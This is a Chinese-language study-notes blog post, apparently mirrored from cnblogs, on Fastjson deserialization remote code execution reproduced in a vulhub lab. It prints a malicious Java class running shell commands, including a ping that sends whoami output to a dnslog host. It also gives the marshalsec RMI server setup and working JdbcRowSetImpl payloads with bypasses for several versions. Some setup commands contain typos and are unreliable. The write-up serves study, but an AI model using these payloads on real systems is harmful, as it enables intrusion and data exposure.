

FastJson远程命令执行漏洞学习笔记 - xiaomaipu
source link: https://www.cnblogs.com/xiaomaipu/p/16653749.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

FastJson远程命令执行漏洞学习笔记
Fastjson简介
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。
fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象,提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
//将字符串转化为对象
JSONObject obj=JSON.parseObject(jsonStr);
JavaBean:
JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:
-
提供一个默认的无参构造函数。
-
需要被序列化并且实现了 Serializable 接口。
-
可能有一系列可读写属性。
-
可能有一系列的 getter 或 setter 方法。
Fastjson远程命令执行漏洞原理
Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并用该类的set/get方法来访问属性。
其在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object,value)方法,会将获取到的数组对象,赋予到@type class中的对应属性中。(在后面构造poc的时候详细说)在这里,就可能执行构造的恶意代码。从而造成代码执行。
通俗理解:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。攻击者通过这种方式,可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行更改,增加,删除等操作,对服务器造成巨大影响。
1、安装docker
sudo apt update
sudo apt install -y docker.io
dockesystemclt enable docker --now
sudo apt install docker-compose
2、安装vulhub
github下载,解压进入fastjson->1.2.24rce文件夹在这里打开终端(cd也行)
sudo docker-compose build
sudo docker-compose up -d
3、配置java8
下载java8
https://www.oracle.com/java/technologies/downloads/

mkdir /opt/java
tar zxvf jdk8u341-linux-x64.tar.gz
vim /etc/profile
末尾添加:
export JAVA_HOME=/opt/java/jdk1.8.0_341
export JRE_HOME=/opt/java/jdk1.8.0_341
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
显示版本即配置成功
4、下载marshalsec
git clone https://github.com/mbechler/marshalsec.git
5、安装maven
下载maven
apt-get install maven
使用maven编译marshalsec成jar包
cd marshalsec
mvn clean package -DskipTests
fastjson1.2.24-rce
靶机kali :192.168.255.130 攻击机kali: 192.168.255.130
这里也可以用两个不同机器
开启fastjson漏洞
sudo docker-compose up -d
这里是因为之前我已经开过了
访问靶机,可以看到json格式的输出

执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'
还可以通过burp抓包,post一个非json格式的数据,看报错情况(但是这里我没有成功,暂时没找到原因借用一下网图)

编译一个恶意类,这里其实需要注意一下,有的kali权限受限,不会执行commonds中的命令,比如这里的这个如果没有root权限的话就执行不了,导致没有结果。后面在加一个普通权限即可有结果回显的。
//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
//运行时,是一个封装了JVM进程的类。每一个JAVA程序实际上都是启动了一个JVM进程,那么每一个进程都是对应这一个Runtime实例,其实例是由JVM为其初始化的。
Runtime rt = Runtime.getRuntime();//取得Runtime类的实例
String[] commonds = {"touch", "/tmp/zcctest"};
//定义要执行的命令字符串
Process pc = rt.exec(commonds);
//exec是执行本机的命令,它的返回值是一个进程,故用process 一个实例来接收,
pc.waitFor();
//返回该Process对象代表的进程的出口值
} catch (Exception e) {
//do nothing
}
}
}
然后,这里是把文件变为class字节的,在JVM虚拟机中执行
javac fjsonxmp.java
搭建http服务传输恶意文件
python2
python -m SimpleHTTPServer 80
python3
python -m http.server 80
开启RMI服务
cd marshalsec
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.130/#fjsonxmp" 9999


使用burp抓包,并写入poc
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的时候,会把原始类型记录下来
序列化后的字符串中添加@type属性,存放对象类型
首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载
被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令
这个rmi服务器相当于请求80端口服务器中的fjsonxmp.class
从rmi请求中得到命令touch /tmp/zcctest
然后被攻击的服务器就回去执行命令
这里举个小例子来帮助理解
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
这两个类在传输的时候 json格式是这样的
"Fruit":{
price:50
}
这里只说明了一个Fruit的price为50,可是却不知道传输的是Banana还是Apple。这是利用autoType
添加@type字段来存放对象类型
"Fruit":{
@type:Apple
price:50
}
假设这样传输,就可以明确是Apple的price为50.
我们在找到需要调用的类:com.sun.rowset.JdbcRowSetImpl 这个类一定会被读取加载 他就相当于Apple
dataSourceName 他就相当于 price对于Apple的情况。


这里可以看到rmi 和 80 http服务 都收到了请求。但是因为没权限执行,所以没有回显结果。文件未创建。
利用dnslog来回显结果
修改恶意类
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};
Process pc = rt.exec(commonds);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}


可以看到有请求

成功回显,达到远程任意指令执行。
fastjson1.2.41-rce
fastjson在加载到过程中,会在加载类的时候去掉className前面的L
和最后的;
,所以就有了如下的poc:
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
从而凑出com.sun.rowset.JdbcRowSetImpl
fastjson1.2.42-rce
由于上一个版本只只过滤了L
和;
,所以又可以通过双写绕过
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson1.2.43-rce
上一个版本中双写L和; 被绕过,所有又增加了一个是否以LL未开头判断,绕过的方法是在`目标类前面添加[
{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson1.2.47-rce
因为从1.2.45开始autotype是默认关闭的,因为之前开启一直出现漏洞,但是关闭他也出现了。
因为来fastjson中有一个全局缓存,在类加载的时候,
-
如果autoType没开启,会先尝试从mapping缓存中获取目标类,如果缓存中有,则直接返回进入之后的反序列化流程。
-
如果autoType开启,因为typeName为
java.lang.Class
不在黑名单,成功绕过检测被解析为Class类型。
java.lang.Class
在缓存中肯定有,该类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类Class到全局缓存中。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}
fastjson的漏洞其实就是fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类中连接远程主机,通过其中的恶意类执行代码。
笔记只做学习记录分享。如有错误,请大家批评指正!
文章内容多来于
https://www.freebuf.com/articles/web/283585.html
https://www.freebuf.com/vuls/276512.html
如有侵权立删。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK